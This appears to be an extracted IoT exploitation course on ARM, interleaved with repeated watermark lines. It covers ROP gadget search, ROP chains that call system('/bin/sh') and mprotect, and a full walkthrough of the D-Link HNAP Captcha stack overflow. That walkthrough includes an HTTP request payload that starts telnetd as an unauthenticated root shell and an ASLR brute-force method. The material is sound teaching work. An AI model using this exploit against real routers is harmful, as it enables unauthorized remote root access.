0x42424242 -> popped into r7
0x24682468 -> popped into pc, good!Paul Erwin
The following commands will find potential ROP gadgets in libc.
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 pop
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep $'bx\tr’
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 $'bx\tr3’
nemo@mako:~/labs/leak$ objdump -d libc-2.31.so | grep -B3 $'bx\tr3' | grep r0
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
...
[INFO] Searching for gadgets: pop {r1
There are different ways to find ROP gadgets. Ideally you want to minimize the number of instructions that you execute
with each gadget. This means try to accomplish what you want to do as close to the return (pop pc) as possible. Start
moving your search further and further away from the pop if you can’t find what you need close to the pop. Be aware
Paul Erwin
of unnecessary instructions in the gadgets that you need to deal with. Simple ROP gadgets can be found by grepping
disassembly output or if you need to take things a step further, you can write your own scripts or use one of the many
ROP finding tools that are out there.
Ropper is a popular tool that is easy to use. It has been installed in the hammerhead vm and can be used to analyze
ARM binaries. Ropper can also be ran interactively. The /quality/ parameters are useful for minimizing the number of
unnecessary instructions in a ROP gadget.
nemo@hammerhead:~$ ropper
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(ropper)> file /home/nemo/labs/leak/libc-2.31.so
...
[INFO] File loaded.
(libc-2.31.so/ELF/ARMTHUMB)>
(libc-2.31.so/ELF/ARMTHUMB)> help search
search [/<quality>/] <string> - search gadgets.
/quality/ The quality of the gadget (1 = best).The better the quality the less instructions are between the found
introduction and return
?
%
any character
any string
live
Reference:
https://github.com/sashs/Ropper
• The attacker-controlled
09b91222e5d2d3d668cf8e52ec5d35ba
stack is the key component AAAA
AAAA
overflow
occurs
micede1865@wii999_com
• Staging values to be popped into
registers
r5
r7
g2_address
r1
gadget1 pop {r0, r2, r3, r4, r5, r7, pc} adder_address
(g1)
The stack is the key component for coordinating ROP. The stack is used to orchestrate the calling and
returning of the gadgets. The alignment has to work as the stack pointer is shifted and registers are popped off.
The gadgets will be used to piece together executable instructions throughout the program space in order to
Paul Erwin
accomplish our goal. It is usually a good idea to write out what you expect the stack to look like when
formulating a ROP chain.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com }
unsigned int result = a+b+c+d;
return result;
As an example, let’s try to create a ROP chain that will call the adder function and pass it the arguments
5,6,7, and 8. Recall that if we have less than 4 arguments, they are passed in registers r0-r3.
Paul Erwin
Stay focused on the goal when looking for gadgets. You may need to execute unnecessary instructions that are
mixed in with your gadgets, but this is ok as long as they don’t disrupt our goal.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
attacker controls
the stack data
micede1865@wii999_com
GOAL: adder(r0=5, r1=6, r2=7, r3=8)
In this example, we have an overflow, and we can control the input data that will be copied onto the stack,
overwriting the saved link register and beyond.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}
These 2 gadgets will allow us to accomplish our goal. They are not sequential in memory, but since we control
which addresses will be popped into pc, we can redirect execution to both of these gadgets.
Paul Erwin
Note: g1_address and g2_address would be actual 4-byte memory addresses, but we are just using
labels in this example.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}
This is a short ROP chain. Some ROP chains can be long and complex, but ideally, you want to accomplish
the goal as quickly and as efficiently as possible.
Paul Erwin
Here we have just overflowed the buffer with our data, and the function is getting ready to return by popping
gadget1 into pc, giving us control of execution.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Instruction
g1_address pop {r0, r2, r3, r4, r5, r7, pc}
Now the gadget1 address has been popped of the stack and the stack pointer has shifted. In the overflow, we
staged the following values on the stack. The parentheses show what registers they will be popped into.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The address for gadget2 will be popped into pc and execution will be directed there.
live
micede1865@wii999_com
Current
g1_address pop {r0, r2, r3, r4, r5, r7, pc}
Gadget1 allowed us to put some of the pieces together to reach our goal. At this point, we have populated
r0, r2, and r3 with the correct values. We just need to get a 6 into r1 and then jump to the adder
functions since all of the parameters will be populated correctly.
Paul Erwin
Also, notice that the stack pointer has been shifted down for all of the registers that got popped including the
address of gadget2 getting popped into pc. We are now ready to execute gadget2.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
g1_address pop {r0, r2, r3, r4, r5, r7, pc}
Gadget2 will pop a 6 into r1 and then pop the address of the adder function into pc, redirecting
execution there and accomplishing our goal. The r0-r3 values have been populated and we jump to the
adder function.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba AAAA
AAAA
0x41414141
0x41414141
AAAA 0x41414141
gadget1 pop {r0, r2, r3, r4, r5, r7, pc} g1_address 0xbefff002
(0xbefff002)
5 (r0) 0x00000005
7 (r2) 0x00000007
gadget(2) pop {r1, pc} 8 (r3) 0x00000008
(0xbefff148)
CCCC (r4) 0x43434343
micede1865@wii999_com
adder function
(0xbeefaa40)
CCCC (r5)
CCCC (r7)
g2_address
0x43434343
0x43434343
0xbefff148
6 (r1) 0x00000006
adder_address 0xbeefaa40
stack with
stack with names addresses
Here we show the ROP chain with some sample addresses for gadget1, gadget2, and adder.
We don’t need it in this example, but remember when jumping to THUMB addresses, always jump to the
Paul Erwin
address+1, so that the processor knows to interpret the destination address as THUMB.
Note: Null bytes are problematic when reading in strings. This example does not take this into account and is
only used as an illustration.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
GOAL: system(“/bin/sh”)
Next, we are going to look at another example where we use ROP to call the system function to create a shell
using “/bin/sh”. To accomplish this goal, we need to get a pointer to the string “/bin/sh” in the r0
register and then call the system function.
Paul Erwin
System will execute a shell command. See ‘man system’ from a Linux terminal for more information.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
GOAL: system(“/bin/sh”)
micede1865@wii999_com
mov r0, r4
add sp, #12 pop {r4, pc}
pop {r4, r5, r6, r7, pc}
These gadgets will allow us to accomplish the goal. There may be some more efficient gadgets in our target
process memory space but let’s work with these as an example.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr
GOAL: system(r0=“/bin/sh”)
At this point we have overflowed a buffer and overwritten the saved link register with the address of
gadget1. We have staged our stack with the buffer we delivered to this vulnerable function.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Instruction
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr
GOAL: system(r0=“/bin/sh”)
After we pop gadget1 into pc (instead of the original saved lr), the SP shifts and is pointing to
binstr_addr. This is a static address pointing to “/bin/sh” found in the libc library by running
strings against the shared object file.
Paul Erwin
nemo@mako:~/labs/rop$ ldd rop_target
linux-vdso.so.1 (0xb6ffd000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xad3c5000)
/lib/ld-linux-armhf.so.3 (0xb6fd5000)
nemo@mako:~/labs/rop$ strings /lib/arm-linux-gnueabihf/libc.so.6 | grep "/bin/"
/bin/sh
/bin/csh
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Current
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
GOAL: system(r0=“/bin/sh”)
We pop a pointer to “/bin/sh” into r4 and then pop the address of gadget2 into pc. Now we are ready
to execute the 3 instructions that make up gadget2. Notice that the second instruction is not necessary to
accomplish our goal. However, we do need to move r4 into r0, since r4 holds a pointer to “/bin/sh”
and we need that in r0.
Paul Erwin
When looking for ROP gadgets, you may have to go a few instructions up (further away from pop) to get the
functionality that you need. Sometimes you need to accomplish specific things that aren’t normally found near
pop instructions and sometimes ROP gadgets aren’t as plentiful in your target’s executable memory space.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Current
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
GOAL: system(r0=“/bin/sh”)
The first instruction moves r4 into r0. This is good, because we needed that to happen. No changes are made
to the SP for this instruction.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Current
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
GOAL: system(r0=“/bin/sh”)
The next instruction adds 12 to the stack pointer. This instruction doesn’t matter to us. It doesn’t help us with
our goal. But we do need to account for this shift. We do this by delivering 12 extra bytes (B’s) in our buffer.
The only reason we do this is to keep the correct stack alignment.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
Current
g1_address pop {r4, pc}
mov r0, r4
SP
BBBB
r4=CCCC
r5=CCCC
GOAL: system(r0=“/bin/sh”)
After adding 12 bytes to SP, it now points to a bunch of Cs, and we are ready to execute the last instruction in
ROP gadget2. ROP gadget2 will pop values into r4-r7. We don’t really care about these values; we
were only interested in moving r4 into r0. But we still need to maintain the right alignment so that we can
Paul Erwin
control pc during this final pop instruction. When this instruction executes r4-r7 get populated with C’s
and the system address gets popped into pc.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
micede1865@wii999_com
g1_address pop {r4, pc}
mov r0, r4
BBBB
r4=CCCC
r5=CCCC
g2_address add sp, #12 r6=CCCC
pop {r4, r5, r6, r7, pc} r7=CCCC
system_addr
Current
Instruction GOAL: system(r0=“/bin/sh”)
When system gets popped into pc, we already have r0 populated with the “/bin/sh” string and we
successfully accomplish our goal and start up a new shell.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
before a return
ldr r3, [r3, #0]
str r7, [r5, r3]
add sp, #12
micede1865@wii999_com
• Make sure to account for
• Changes to registers
pop {r4, r5, r6, r7, pc}
Here is another example with some unnecessary instructions. Again, let’s say we need to move the contents of
r4 into r0. We get this with the first instruction, but we need to make it all the way down to the pop, so that
we can maintain control and pop our next gadget into pc.
Paul Erwin
We talked about having values to be popped into registers even if we don’t need them and we also already
looked at an example where sp was shifted by adding to it.
Here, the processor is expecting r5+r3 to hold a valid address. If the combination of these two registers is
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
not valid, an error will occur and the process will crash. Also, since it is a str (store register) instruction, the
address must be writeable. Ideally, you wouldn’t need to use a ROP gadget as complex as this one, but if you
do, look out for little gotchas like this one that can come up due to needing to use valid addresses.
micede1865@wii999_com
addr - start address of the memory region to be modified
This parameter must be page aligned and will typically end in 0x000
len - range of memory to modify
prot - access flags to be applied
Flags are to be bitwise or’d with one another
To set Read Write Execute (RWX) protections, use 7
The first parameter (addr) must be page aligned. This means the address will typically end in 0x000.
Paul Erwin
Depending on your target, this may be problematic for your exploit since it requires a null byte. If the address
is not page aligned, the call to mprotect will fail.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
#define PROT_WRITE 0x02 /* Pages can be written. */
#define PROT_EXEC 0x01 /* Pages can be executed. */
If we combine PROT_READ, PROT_WRITE, and PROT_EXEC using a logical or, the value will be 7.
Any memory with the page protection defined as 7 will be RWX (readable, writeable, executable).
Reference:
Information on logical or and other bitwise operations
https://www.plantation-
live
productions.com/Webster/www.artofasm.com/Linux/HTML/DataRepresentation4.html
ROP is a great workaround for XN, but sometimes you may need to deliver and execute specific assembly
instructions in the form of custom shellcode. If mprotect can be called via ROP, it may be possible to
change the memory protections where the shellcode has been delivered (i.e., the stack) so that it becomes
executable memory.
Paul Erwin
For example, if the shellcode is delivered to 0xbeffeff0, a ROP goal might be: mprotect(0xbeffe000,
0x2000, 0x7)
If the call to mprotect is successful and there are no additional security protections in place, shellcode can
then be executed.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
There is a mprotect challenge at the end of the ROP lab that requires these workarounds.
If the input of your exploit is being read in as a string, you may need to avoid null bytes (0x00). To do this,
you may need to get creative with ROP. The mprotect challenge at the end of the ROP lab is intended to be
used as a take home challenge, since it pushes the student slightly beyond the scope of this course.
Paul Erwin
Strace is useful for troubleshooting calls to mprotect. For more information on strace, run “man strace”
from a linux terminal.
# The first parameter must be page aligned. To see the page size for your system, run the following
commands.
nemo@mako:~$ getconf PAGESIZE
4096
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~$ python
...
>>> hex(4096)
'0x1000’
live
09b91222e5d2d3d668cf8e52ec5d35ba
We don't always have the luxury of delivering shellcode and being able to jump directly to it. Today, devices
are implementing security controls that prevent user-supplied data from being executable. ROP has proven
itself over the years to be an effective workaround. By stringing together smaller bits of code (gadgets) into a
ROP chain, we can sometimes find creative ways to bypass memory protections and get us the access we
need.
OBJECTIVES PREPARATION
micede1865@wii999_com
• Finding ROP gadgets to accomplish our goal
• Locating additional memory addresses
required to accomplish our goal
This lab will be done in the Mako virtual machine.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
1. Firmware
09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals 2.
3.
Lab: Firmware Extraction
Router Emulation
Netgear Exploit
SEC661.2 Lab: Netgear Exploit
Exploiting IoT Devices 4. ROP
Lab: ROP
5. Dlink Exploit
micede1865@wii999_com 6.
Lab: Dlink Exploit
Memory Leaks
Lab: Memory Leaks
7. 64-Bit ARM
Lab: 64-Bit ARM
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
Dlink Exploit
09b91222e5d2d3d668cf8e52ec5d35ba
The Dlink exploit requires a couple of ROP gadgets in order to execute our payload.
Emulation is done similar to the Netgear router, and the web interface is accessible
from the hammerhead vm. Being able to debug allows us to step through the memory
micede1865@wii999_com
corruption as we overwrite the saved link register and gain control of execution. The
actual Dlink router runs ASLR, but since crashing a child process does not disrupt our
connectivity, we can send the exploit in rapid succession and brute force the target
until we successfully land our exploit.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
The Dlink exploit we are going to look at next was also discovered by Pedro Ribeiro. It was disclosed in
November 2016 and leverages a stack-based buffer overflow in the hnap protocol. Hnap, or Home
Network Administration Protocol, is a proprietary SOAP-based protocol that dates back to 2007 and is similar
Paul Erwin
to upnpd. There is also a MIPS variant for this router that is also affected by this vulnerability.
Reference:
https://www.zerodayinitiative.com/blog/2020/9/30/the-anatomy-of-a-bug-door-dissecting-two-d-link-router-
authentication-bypasses
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
loadnvram /etc/init.d/rcS
wlg_wds_mode=1
dogfish vm wl_radius_port=1812
linux system
(armv7) wlan_acl_dev24=
micede1865@wii999_com
wan2_dns=
pci/2/1/rxgains5gh=5
startup
wl1_wme=on
gui_check_enable=1
hd_idle_period=1800
web services
wlan_acl_dev25= and other
pci/2/1/rxgains5gh=5
l2tp_user_passwd= applications
wla_ssid_2=NET-Guest
wl_mbss_skipctf=1
dlink emulation
The Dlink router is emulated the same as the Netgear router with some slight differences in the startup script.
The Dlink router kicks off execution by running /etc/init.d/rcS instead of /sbin/preinit like we
saw in the Netgear script. The startup process is as follows.
-
-
Paul Erwin
Chroot into the Dlink’s root filesystem that was extracted from the firmware update
Mount the special file systems /proc and /sys and create /dev/null
- Load the nvram using LD_PRELOAD and a text file containing the configuration settings
- Start the Linux boot process by running the /etc/init.d/rcS script
When we start rcS, the web services will eventually start up. Some of the scripts in /etc/init.d/ had
to be removed for the Dlink emulated router to boot. But these scripts were not required for the target web
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
services.
Both routers can be emulated at once, but it is recommended to only run one at a time in order to maximize
resources for the lab environment.
live
# uname -a
Linux dlinkrouter 2.6.36.4brcmarm+ #1 SMP Sun Apr 19
15:24:40 CST 2015 armv7l GNU/Linux
micede1865@wii999_com
ASLR is off in the
emulated environment
The Dlink router has ASLR enabled. XN (execute never) is enabled for the stack, so it is not executable.
In our emulated environment, ASLR is turned off. However, the actual router can be successfully exploited
Paul Erwin
even with ASLR enabled. By brute forcing the base address of libc and sending the exploit multiple times
we can eventually have success.
There is a Metasploit module that proves out the effectiveness of the brute force technique.
Also, the payload for the original Metasploit module was not working with the Dlink router due to an issue
where the downloaded binary was not executing.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Reference:
https://www.rapid7.com/db/modules/exploit/linux/http/dlink_hnap_login_bof/
https://github.com/pedrib/PoC/blob/master/exploits/metasploit/dlink_hnap_login_bof.rb
live
09b91222e5d2d3d668cf8e52ec5d35ba
POST /HNAP1/ HTTP/1.1
Host: 192.168.2.22
Content-Length: 1510
Content-Type: text/html
SOAPAction: http://purenetworks.com/HNAP1/Login
Overflow when parsing
the <Captcha> parameter
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>
micede1865@wii999_com
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÿÿÿÿCCCCCCC
CCCCCCCCCCCCCý¶¸ìû¶/usr/sbin/telnetd&</Captcha>
</Login></soap:Body></soap:Envelope>
This output shows a request that will overflow the buffer in the vulnerable function. It has been formatted
slightly to fit the screen. We need over 1024 bytes in the Captcha parameter and the rest of the information is
required for reachability. It is also worth noting that the same vulnerable function is used to parse the Action,
Paul Erwin
Username, and LoginPassword fields. Because of this, the exploit can be delivered in these fields as well.
At the end of our A’s, we see some C’s and we see some other strange characters. This is because the output
being printed to the screen contains some non-ASCII characters that don’t get displayed properly. Part of that
is a small ROP chain followed by a command. Let’s take a look at this in more detail.
Reference:
See the ~/labs/dlink/exploit.py file in the hammerhead vm to see how this request gets created.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
{
char buffer [1024];
...
destination 2
sprintf(start_tag,"<%s>",tag_name);
1 R1 = “Captcha”
sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
start_tag_len_plus_1 = start_tag_len + 1; <Captcha>AAAAAAAAAAAAAAAAAAAAAA...
offset = strstr(input,start_tag);
if (offset != (char *)0x0) {
tag_data_offset = offset + start_tag_len;
3 tag_data_offset
offset = strstr(tag_data_offset,end_tag);
micede1865@wii999_com
if ((offset != (char *)0x0) &&
(tag_data_len = offset + -(int)tag_data_offset, -1 < (int)tag_data_len)) {
/* vulnerable strncpy */
strncpy(buffer, tag_data_offset, tag_data_len); overflow 4
buffer[(int)tag_data_len] = '\0';
offset = strcpy(dest,buffer);
}
}
return offset;
}
The vulnerable function is at address 0x18e2c in the cgibin binary. The output in the slide is from Ghidra’s
decompiler with the function name labeled parseSoapParameter_00018e2c. A tag_name is passed to the
function, in this case, we will consider it to be “Captcha” as an example. The input of the SOAP request is also
Paul Erwin
passed into the function and is called input. This function searches for the tag_name (“Captcha”) and
parses out the string that is inside the tags. It does this by calculating the tag, including the <> characters in the
length, then checking if the character value after the tag is anything other than a null.
As you can see at the beginning of the function, the char array can only hold 1024 bytes. If we provide a
parameter (in this case, Captcha) that is greater than 1024 bytes, we can overflow the buffer. The strncpy
specifies a max value as the third parameter. However, the implementation is not great, because the max value
is set to the length of the input. It would be more effective to use the length of the destination buffer here. The
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
memory corruption will overflow the stack frame, overwrite the saved link register and give us control of PC
when the function returns.
Note: The function and variable names may vary if you are looking at this in Ghidra and they may not even be
labeled at all.
1. The function prototype (or signature) shows the parameters being passed in. The input parameter points to
data we have sent in our http request (including the tags). The tag_name parameter is the name of the
tag to parse in this function (i.e., “Captcha”)
2.
3.
1024 bytes.
live
The buffer char array serves as a temporary place holder when parsing the input data and can only hold
The tag_data_offset variable will point to the first “A” in this example and is used as the source in
the vulnerable strncpy.
4. This implementation of the strncpy is problematic and allows for an overflow of the buffer char array.
The max length is the length of the tag_data_len and not the size of the buffer char array.
09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers vulnerable
function’s
stack frame
R3 = ?
PC = ? saved lr
mov r0, sp
gadget2 blx r3
ROP Goal:
The goal of our exploit is to call the system function and execute “/usr/sbin/telnetd&”. The system
function call will execute a shell command. Executing the telnetd command will start the daemon listening
Paul Erwin
on port 23. If we can turn on telnet this way, without providing any parameters, by default it will provide root
access and not require a username or password. Essentially, we are enabling a remote root shell.
Information Layout:
Let’s walk through this 2-gadget ROP chain and break down how this exploit works. The illustration in the
slide shows:
- The stack, the vulnerable function’s stack frame and the saved lr that we want to overwrite
- The instructions for the 2 ROP gadgets that we want to execute
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
- Registers r0, r3, and PC that we are interested in tracking
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
overflow
occurs
R3 = ? AAAA
PC = ? gadget1_address
system_address
gadget2_address
rsu/ /usr/sbin/telnetd&
ibs/
mov r0, sp
gadget2 blx r3
This is our payload on the stack once the memory corruption occurs. This is the result of the strncpy
overwriting the end of the stack frame (and beyond) with our input. At the very end we see the
/usr/sbin/telnetd& string, but it is shown in little endian on the stack.
Paul Erwin
At this point we don’t know what registers r0, r3, or pc hold.
The function has not returned yet, but we have overwritten the saved lr with the address of gadget1.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba
ldmfd = load
This
R0 ARM
multiple registers full descending
Registers
= ? instruction will load values starting from
AAAA
AAAA
AAAA
theR3first
= ?operand (sp) into the registers in the second AAAA
PC = ? function return SP gadget1_address
operand {r3, pc}.
system_address
gadget2_address
The ! indicates that the sp register will be updated.
rsu/
ibs/
mov r0, sp
gadget2 blx r3
When the vulnerable function tries to return, the address of gadget 1 gets popped into PC and we redirect
execution here. The LDMFD instruction (load multiple full descending) will start at the address provided by
the first operand (sp, in this example) and pop data into the registers provided in the second operand (r3 and
Paul Erwin
pc). So, when we jump to gadget1, we can populate r3 and pc.
Reference:
LDMFD instruction details:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://developer.arm.com/documentation/dui0068/b/Writing-ARM-and-Thumb-Assembly-Language/Load-
and-store-multiple-register-instructions/Implementing-stacks-with-LDM-and-STM
https://developer.arm.com/documentation/dui0068/b/Writing-ARM-and-Thumb-Assembly-Language/Load-
and-store-multiple-register-instructions/ARM-LDM-and-STM-instructions
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
R3 = ? AAAA
PC = gadget1 gadget1_address
SP system_address
gadget2_address
rsu/
ibs/
micede1865@wii999_com
Current
Instruction gadget1 ldmfd sp!, {r3,pc}
et/n
tenl
&d
mov r0, sp
gadget2 blx r3
Gadget1 gets popped off the stack and into pc. The sp has shifts and now points to the system address that
is stored on the stack. Next, we execute the instruction at gadget1 which is ldmfd sp!, {r3, pc}.
This will pop the system address into r3 and then pop the address for gadget2 into pc. The ‘!’
Paul Erwin
indicates that the sp register is to be updated, moving it 8 bytes to the next gadget in our ROP chain.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba
R0 = ?
Registers AAAA
AAAA
AAAA
R3 = system AAAA
PC = gadget2 gadget1_address
system_address
gadget2_address
SP rsu/ /usr/sbin/telnetd&
ibs/
Gadget1 has been executed and we popped the address of system into r3. This is tracked in our register list.
The address of gadget2 was also popped off the stack and into pc. Now, the stack pointer points to the
“/usr/sbin/telnetd&” string stored on the stack. We need that to be the first parameter for the call to
Paul Erwin
the system function, so we need to get that into r0. That’s exactly what gadget2 does.
The first instruction in gadget2 moves the sp value into r0. Now, r0 also points to the string we want to
execute. This is required as the system command’s first parameter.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba Registers
R0 = > /usr/sbin/telnetd&
AAAA
AAAA
AAAA
R3 = system AAAA
PC = gadget2 + 2 gadget1_address
system_address
gadget2_address
SP rsu/
ibs/
Now, we have r0 populated and it points to (>) our string which is located on the stack. Gadget1
populated the r3 register with the address of system. The next instruction (blx r3) will branch to system
and execute our command to start the telnet daemon.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
AAAA
09b91222e5d2d3d668cf8e52ec5d35ba Registers
R0 = > /usr/sbin/telnetd&
AAAA
AAAA
AAAA
R3 = system AAAA
PC = system gadget1_address
system_address
gadget2_address
SP rsu/
ibs/
mov r0, sp
gadget2 blx r3
Current
Instruction Goal = system(“/usr/sbin/telnetd&”) stack
Blx r3 does a branch link exchange to the r3 address which is system. This will accomplish our goal of
running system(“/usr/sbin/telnetd&”) and providing us with root-level remote access with no password
required.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Attacker http
httpd forward input
hnap
process id: 652 process id: x
httpd starts a
attacker sends child process exploit crashes
exploit to web called “hnap” the hnap process
server over http
due to wrong
X
(exploit.py)
micede1865@wii999_com offsets
hnap
process id: x
Because of ASLR, we don’t know the offsets needed for gadget1, gadget2, and system. The offsets
we need are all based off libc and are relative to one another. But to calculate them, we need the know the
base address of libc. This is what gets shifted and changed due to ASLR.
Paul Erwin
The process ids given in these slides will vary on a running system.
Due to how the httpd daemon handles these types of requests, we can brute force ASLR. The hnap
request is actually handled by a child process that gets started by the httpd daemon. If we provide the
wrong offsets in our exploit, we will not successfully execute our ROP payload, and we will crash the process.
But we will not crash httpd. We will crash the child process that it starts up.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Attacker
httpd
process id: 652
micede1865@wii999_com
the httpd service
(brute force)
interface remains
up
Even though we crashed the child process, the httpd daemon is still up and running. It is waiting for new
requests to come in. This is important, because if we crashed the httpd daemon on a failed exploit attempt,
we couldn’t try multiple times. We could no longer reach the web service, because it wouldn’t be listening
Paul Erwin
over the network. It starts a child process and that is what we are crashing, so the httpd process remains
stable, we don’t lose access, and can try additional exploit attempts.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
09b91222e5d2d3d668cf8e52ec5d35ba
Attacker http
http
httpd forward input
forward input
hnap
hnap
http process id: 652 forward input process id: x
hnap
forward input processhnap
id: x
process id: x
hnap
process id: x
hnap
automate multiple process hnap
id: x
process hnap
id: x
exploit attempts process id: x
hnap
process id: x
trying to get the process id: x
micede1865@wii999_com
right offsets for
gadget1, gadget2,
system
The brute force attempt is done by sending a request with our ROP gadgets and system address based on an
assumed address of libc. We send it over and over in rapid succession until we guess right, and our payload
executes successfully. We do not risk crashing httpd and losing remote access to the service.
Paul Erwin
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
live
dogfish vm
micede1865@wii999_com
Emulated dlink router
Since the emulated Dlink router is running in a chroot environment on the dogfish vm, we can debug the
httpd process.
Paul Erwin
However, if we want to view the memory corruption in the vulnerable function, we need to debug the child
